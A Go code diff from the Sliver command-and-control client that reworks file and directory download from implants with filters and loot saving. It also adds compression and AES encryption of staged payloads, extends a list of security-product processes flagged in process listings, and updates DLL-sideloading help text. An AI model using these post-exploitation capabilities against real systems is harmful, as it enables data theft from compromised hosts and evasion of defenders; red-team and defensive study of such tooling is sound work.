@@ -75,14 +114,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.Printf("\n")
 		}
 	}
-
-	PrintCat(download, ctx, con)
-}
-
-// PrintCat - Print the download to stdout
-func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var err error
-
 	if ctx.Flags.Bool("colorize-output") {
 		if err = colorize(download); err != nil {
 			con.Println(string(download.Data))

client/command/filesystem/download.go

@@ -24,167 +24,204 @@ import (
 	"os"
 	"path"
 	"path/filepath"
+	"regexp"
+	"runtime"
 	"strings"
+	"time"
 
-	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"google.golang.org/protobuf/proto"
+	"gopkg.in/AlecAivazis/survey.v1"
 
 	"github.com/desertbit/grumble"
 )
 
-func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
+func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	remotePath := ctx.Args.String("remote-path")
+	recurse := ctx.Flags.Bool("recurse")
+
 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
+		Recurse: recurse,
 	})
 	ctrl <- true
 	<-ctrl
 	if err != nil {
-		return nil, err
+		con.PrintErrorf("%s\n", err)
+		return
 	}
 	if download.Response != nil && download.Response.Async {
 		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, download)
 			if err != nil {
 				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
 			}
+			HandleDownloadResponse(download, ctx, con)
 		})
 		con.PrintAsyncResponse(download.Response)
+	} else {
+		HandleDownloadResponse(download, ctx, con)
 	}
 
+}
+
+func prettifyDownloadName(path string) string {
+	nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
+	if err != nil {
+		// Well, we tried.
+		return path
+	}
+
+	pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
+	pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
+
+	filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
+
+	// Collapse multiple underscores into one
+	multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
+	if err != nil {
+		return filteredString
+	}
+
+	filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
+
+	// If there is an underscore at the front of the filename, strip that off
+	if strings.HasPrefix(filteredString, "_") {
+		filteredString = filteredString[1:]
+	}
+
+	return filteredString
+}
+
+func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
 	if download.Response != nil && download.Response.Err != "" {
-		return download, fmt.Errorf("%s\n", download.Response.Err)
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
 	}
 
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
-			return nil, fmt.Errorf("Decoding failed %s", err)
+			con.PrintErrorf("Decoding failed %s", err)
 		}
 	}
 
-	return download, nil
-}
-
-// DownloadCmd - Download a file from the remote system
-func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
 	remotePath := ctx.Args.String("remote-path")
 	localPath := ctx.Args.String("local-path")
+	saveLoot := ctx.Flags.Bool("loot")
 
-	src := remotePath
-	fileName := filepath.Base(src)
-	var dst string
-	var err error
-	var lootType clientpb.LootType
-	var fileType clientpb.FileType
-	var lootName string = ""
+	if download.ReadFiles == 0 {
+		// No files downloaded successfully.
+		con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
+		return
+	}
 
-	if ctx.Flags.Bool("loot") {
-		// The destination is the loot store.
-		dst = "loot"
-		lootName = ctx.Flags.String("name")
-
-		lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
+	if saveLoot {
+		lootName := ctx.Flags.String("name")
+		lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		// Determine file type after the download is complete
+		// Hand off to the loot package to take care of looting
+		fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
 	} else {
-		// If this download is not being looted, make sure the local path exists
-		dst, err = filepath.Abs(localPath)
+		fileName := filepath.Base(remotePath)
+		dst, err := filepath.Abs(localPath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
+
 		fi, err := os.Stat(dst)
 		if err != nil && !os.IsNotExist(err) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 		if err == nil && fi.IsDir() {
+			if download.IsDir {
+				// Come up with a good file name - filters might make the filename ugly
+				session, beacon := con.ActiveTarget.Get()
+				implantName := ""
+				if session != nil {
+					implantName = session.Name
+				} else if beacon != nil {
+					implantName = beacon.Name
+				}
+
+				fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
+			}
+			if runtime.GOOS == "windows" {
+				// Windows has a file path length of 260 characters
+				// +1 for the path separator before the file name
+				if len(dst)+len(fileName)+1 > 260 {
+					// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
+					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
+				}
+			}
 			dst = path.Join(dst, fileName)
 		}
-	}
 
-	download, err := PerformDownload(src, fileName, dst, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
+		// Add an extension to a directory download if one is not provided.
+		if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
+			dst += ".tar.gz"
+		}
 
-	if dst == "loot" {
-		// Hand off to the loot package to take care of looting
-		fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
-		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
-	} else {
-		PrintDownload(download, ctx, con)
-	}
-}
+		if _, err := os.Stat(dst); err == nil {
+			overwrite := false
+			prompt := &survey.Confirm{Message: "Overwrite local file?"}
+			survey.AskOne(prompt, &overwrite, nil)
+			if !overwrite {
+				return
+			}
+		}
 
-// PrintDownload - Print the download response, and save file to disk
-func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if download.Response != nil && download.Response.Err != "" {
-		con.PrintErrorf("%s\n", download.Response.Err)
-		return
-	}
-
-	remotePath := ctx.Args.String("remote-path")
-	localPath := ctx.Args.String("local-path")
-
-	src := remotePath
-	fileName := filepath.Base(src)
-	dst, err := filepath.Abs(localPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
-	}
-
-	// Add an extension to a directory download if one is not provided.
-	if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
-		dst += ".tar.gz"
-	}
-
-	if _, err := os.Stat(dst); err == nil {
-		overwrite := false
-		prompt := &survey.Confirm{Message: "Overwrite local file?"}
-		survey.AskOne(prompt, &overwrite, nil)
-		if !overwrite {
+		dstFile, err := os.Create(dst)
+		if err != nil {
+			con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
 			return
 		}
-	}
+		defer dstFile.Close()
+		n, err := dstFile.Write(download.Data)
+		if err != nil {
+			con.PrintErrorf("Failed to write data %v\n", err)
+		} else {
+			var readFilesText string
+			var unreadFilesText string
 
-	dstFile, err := os.Create(dst)
-	if err != nil {
-		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
-		return
-	}
-	defer dstFile.Close()
-	n, err := dstFile.Write(download.Data)
-	if err != nil {
-		con.PrintErrorf("Failed to write data %v\n", err)
-	} else {
-		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
+			if download.ReadFiles == 1 {
+				readFilesText = "file"
+			} else {
+				readFilesText = "files"
+			}
+
+			if download.UnreadableFiles == 1 {
+				unreadFilesText = "file"
+			} else {
+				unreadFilesText = "files"
+			}
+
+			con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
+				n,
+				download.ReadFiles,
+				readFilesText,
+				download.UnreadableFiles,
+				unreadFilesText,
+				dstFile.Name())
+		}
 	}
 }

client/command/filesystem/ls.go

@@ -22,7 +22,6 @@ import (
 	"bytes"
 	"context"
 	"fmt"
-	"path/filepath"
 	"sort"
 	"strings"
 	"text/tabwriter"
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	remotePath := ctx.Args.String("path")
-	filter := ""
-
-	/*
-		Check to see if the remote path is a filter or contains a filter.
-		If the path passes the test to be a filter, then it is a filter
-		because paths are not valid filters.
-	*/
-	if remotePath != "." {
-
-		// Check if the path contains a filter
-		// Test on a standardized version of the path (change any \ to /)
-		testPath := strings.Replace(remotePath, "\\", "/", -1)
-		/*
-			Cannot use the path or filepath libraries because the OS
-			of the client does not necessarily match the OS of the
-			implant
-		*/
-		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
-
-		if lastSeparatorOccurrence == -1 {
-			// Then this is only a filter
-			filter = remotePath
-			remotePath = "."
-		} else {
-			// Then we need to test for a filter on the end of the string
-
-			// The indicies should be the same because we did not change the length of the string
-			baseDir := remotePath[:lastSeparatorOccurrence+1]
-			potentialFilter := remotePath[lastSeparatorOccurrence+1:]
-
-			_, err := filepath.Match(potentialFilter, "")
-
-			if err == nil {
-				// Then we have a filter on the end of the path
-				remotePath = baseDir
-				filter = potentialFilter
-			} else {
-				if !strings.HasSuffix(remotePath, "/") {
-					remotePath = remotePath + "/"
-				}
-			}
-		}
-	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
 		Request: con.ActiveTarget.Request(ctx),
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintLs(ls, ctx.Flags, filter, con)
+			PrintLs(ls, ctx.Flags, con)
 		})
 		con.PrintAsyncResponse(ls.Response)
 	} else {
-		PrintLs(ls, ctx.Flags, filter, con)
+		PrintLs(ls, ctx.Flags, con)
 	}
 }
 
 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
 	if ls.Response != nil && ls.Response.Err != "" {
 		con.PrintErrorf("%s\n", ls.Response.Err)
 		return
 	}
 
-	con.Printf("%s\n", ls.Path)
-	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+	// Generate metadata to print with the path
+	numberOfFiles := len(ls.Files)
+	var totalSize int64 = 0
+	var pathInfo string
+
+	for _, fileInfo := range ls.Files {
+		totalSize += fileInfo.Size
+	}
+
+	if numberOfFiles == 1 {
+		pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	} else {
+		pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	}
+
+	con.Printf("%s\n", pathInfo)
+	con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
 	}
 
 	for _, fileInfo := range ls.Files {
-		if filter != "" {
-			fileMatch, err := filepath.Match(filter, fileInfo.Name)
-
-			if err != nil {
-				/*
-					This should not happen because we checked the filter
-					before reaching out to the implant.
-				*/
-				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
-				break
-			}
-
-			if !fileMatch {
-				continue
-			}
-		}
-
 		modTime := time.Unix(fileInfo.ModTime, 0)
 		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
 		modTime = modTime.In(implantLocation)
 
 		if fileInfo.IsDir {
 			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		} else {
 			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}

client/command/generate/generate-beacon.go

@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
 	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
 	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
 	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
-	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+
+	/*
+		If seconds has not been specified but any of the other time units have, then do not add
+		the default 60 seconds to the interval.
+
+		If seconds have been specified, then add them regardless.
+	*/
+	if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
+		interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	}
+
 	if interval < minBeaconInterval {
 		return ErrBeaconIntervalTooShort
 	}

client/command/generate/generate.go

@@ -29,7 +29,6 @@ import (
 	"os"
 	"path"
 	"path/filepath"
-	"regexp"
 	"runtime"
 	"strings"
 
@@ -39,6 +38,7 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 // Shared function that extracts the compile flags from the grumble context
 func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
 	var name string
-	if ctx.Flags["name"] != nil {
+	if ctx.Flags.String("name") != "" {
 		name = strings.ToLower(ctx.Flags.String("name"))
 
-		if name != "" {
-			isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
-			if !isAlphanumeric(name) {
-				con.PrintErrorf("Implant's name must be in alphanumeric only\n")
-				return nil
-			}
+		if err := util.AllowedName(name); err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
 		}
 	}
 

client/command/help/long-help.go

@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
 [[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
 
 	downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
-[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
+[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
+
+Downloads can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
 
 	uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
 [[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -346,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
 	sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
 Sideload a Linux shared library into a new bash process using LD_PRELOAD:
 	sideload -p /bin/bash /tmp/mylib.so
-Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
-	sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
+Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
+	sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
 
 [[.Bold]]Remarks:[[.Normal]]
 Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process

client/command/jobs/stage.go

@@ -19,9 +19,12 @@ package jobs
 */
 
 import (
+	"bytes"
+	"compress/zlib"
 	"context"
 	"net/url"
 	"strconv"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
@@ -36,6 +39,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	compress := strings.ToLower(ctx.Flags.String("compress"))
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -75,7 +79,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 		// check if aes iv is correct length
 		if len(aesEncryptIv)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES IV\n")
+			con.PrintErrorf("Incorrect length of AES IV\n")
 			return
 		}
 
@@ -88,8 +92,27 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	switch compress {
+	case "zlib":
+		// use zlib to compress the stage2
+		var compBuff bytes.Buffer
+		zlibWriter := zlib.NewWriter(&compBuff)
+		zlibWriter.Write(stage2)
+		zlibWriter.Close()
+		stage2 = compBuff.Bytes()
+	case "gzip":
+		stage2 = util.GzipBuf(stage2)
+	case "deflate9":
+		fallthrough
+	case "deflate":
+		stage2 = util.DeflateBuf(stage2)
+	}
+
 	if aesEncrypt {
-		stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
+		// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
+		// but it's also useful here as more advanced cipher modes are often difficult to implement in
+		// a stager.
+		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
 	}
 
 	switch stagingURL.Scheme {

client/command/loot/add-credential.go

@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
 	switch credType {
 	case clientpb.CredentialType_USER_PASSWORD.String():
 		loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
-		usernamePrompt := &survey.Input{Message: "Username: "}
-		survey.AskOne(usernamePrompt, &loot.Credential.User)
-		passwordPrompt := &survey.Input{Message: "Password: "}
-		survey.AskOne(passwordPrompt, &loot.Credential.Password)
+		for loot.Credential.User == "" {
+			usernamePrompt := &survey.Input{Message: "Username: "}
+			survey.AskOne(usernamePrompt, &loot.Credential.User)
+			if loot.Credential.User == "" {
+				con.Println("Username is required")
+			}
+		}
+		for loot.Credential.Password == "" {
+			passwordPrompt := &survey.Input{Message: "Password: "}
+			survey.AskOne(passwordPrompt, &loot.Credential.Password)
+			if loot.Credential.Password == "" {
+				con.Println("Password is required")
+			}
+		}
 	case clientpb.CredentialType_API_KEY.String():
 		loot.CredentialType = clientpb.CredentialType_API_KEY
 		usernamePrompt := &survey.Input{Message: "API Key: "}

client/command/loot/helpers.go

@@ -176,10 +176,14 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		if loot.Name == loot.File.Name {
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		if loot.Name == filename {
 			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
 		}
 	}
 	table.Flush()

client/command/loot/loot.go

@@ -166,8 +166,13 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 		strings.Repeat("=", len("File Name")),
 		strings.Repeat("=", len("UUID")),
 	)
+
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
 	}
 
 	table.Flush()

client/command/pivots/start.go

@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
 	if session == nil {
 		return
 	}
+	var options []bool
+	options = append(options, ctx.Flags.Bool("allow-all"))
 	listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
 		Type:        sliverpb.PivotType_NamedPipe,
 		BindAddress: ctx.Flags.String("bind"),
 		Request:     con.ActiveTarget.Request(ctx),
+		Options:     options,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/processes/ps.go

@@ -37,15 +37,21 @@ var (
 	// Stylizes known processes in the `ps` command
 	knownSecurityTools = map[string][]string{
 		// Process Name -> [Color, Stylized Name]
-		"ccSvcHst.exe":          {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
-		"cb.exe":                {console.Red, "Carbon Black"},                 // Carbon Black
-		"MsMpEng.exe":           {console.Red, "Windows Defender"},             // Windows Defender
-		"smartscreen.exe":       {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
-		"CSFalconService.exe":   {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
-		"CSFalconContainer.exe": {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
-		"bdservicehost.exe":     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdagent.exe":           {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdredline.exe":         {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
+		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
+		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
+		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
+		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
+		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
+		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
 	}
 )
 
@@ -110,13 +116,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 
 	switch os {
 	case "windows":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
 	case "darwin":
 		fallthrough
 	case "linux":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		fallthrough
 	default:
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
 	}
 
 	cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -134,8 +140,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 		tw.AppendRow(row)
 	}
 	tw.SortBy([]table.SortBy{
-		{Name: "pid", Mode: table.Asc},
-		{Name: "ppid", Mode: table.Asc},
+		{Name: "pid", Mode: table.AscNumeric},
+		{Name: "ppid", Mode: table.AscNumeric},
 	})
 	if !interactive {
 		overflow = true
@@ -182,6 +188,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -190,6 +197,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -210,6 +218,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 			}
 		} else {
@@ -217,6 +226,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 			}
 		}

client/command/reconfig/rename.go

@@ -20,10 +20,9 @@ package reconfig
 
 import (
 	"context"
-	"regexp"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
@@ -36,12 +35,9 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	// Option to change the agent name
 	name := ctx.Flags.String("name")
-	if name != "" {
-		isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
-		if !isAlphanumeric(name) {
-			con.PrintErrorf("Name must be in alphanumeric only\n")
-			return
-		}
+	if err := util.AllowedName(name); err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
 	}
 
 	var beaconID string

client/command/settings/settings.go

@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
 	tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
 	tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
